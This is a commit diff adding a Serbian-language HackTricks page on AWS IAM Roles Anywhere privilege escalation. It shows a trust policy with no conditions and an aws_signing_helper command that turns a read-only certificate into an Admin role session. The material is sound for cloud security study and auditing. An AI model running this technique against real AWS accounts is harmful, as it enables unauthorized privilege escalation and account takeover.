mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,42 @@
|
||||
# AWS - IAM Roles Anywhere Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
AWS IAM RolesAnywhere omogućava radnim opterećenjima van AWS-a da preuzmu IAM uloge koristeći X.509 sertifikate. Međutim, kada politike poverenja nisu pravilno definisane, mogu se zloupotrebiti za eskalaciju privilegija.
|
||||
|
||||
Ova politika nema ograničenja o tome koji su trust anchor ili atributi sertifikata dozvoljeni. Kao rezultat toga, bilo koji sertifikat povezan sa bilo kojim trust anchor-om u nalogu može se koristiti za preuzimanje ove uloge.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": "rolesanywhere.amazonaws.com"
|
||||
},
|
||||
"Action": [
|
||||
"sts:AssumeRole",
|
||||
"sts:SetSourceIdentity",
|
||||
"sts:TagSession"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
```
|
||||
Za privesc, `aws_signing_helper` je potreban sa https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
|
||||
|
||||
Zatim, koristeći važeći sertifikat, napadač može preći u ulogu sa višim privilegijama.
|
||||
```bash
|
||||
aws_signing_helper credential-process \
|
||||
--certificate readonly.pem \
|
||||
--private-key readonly.key \
|
||||
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
|
||||
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
|
||||
--role-arn arn:aws:iam::123456789012:role/Admin
|
||||
```
|
||||
### References
|
||||
|
||||
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user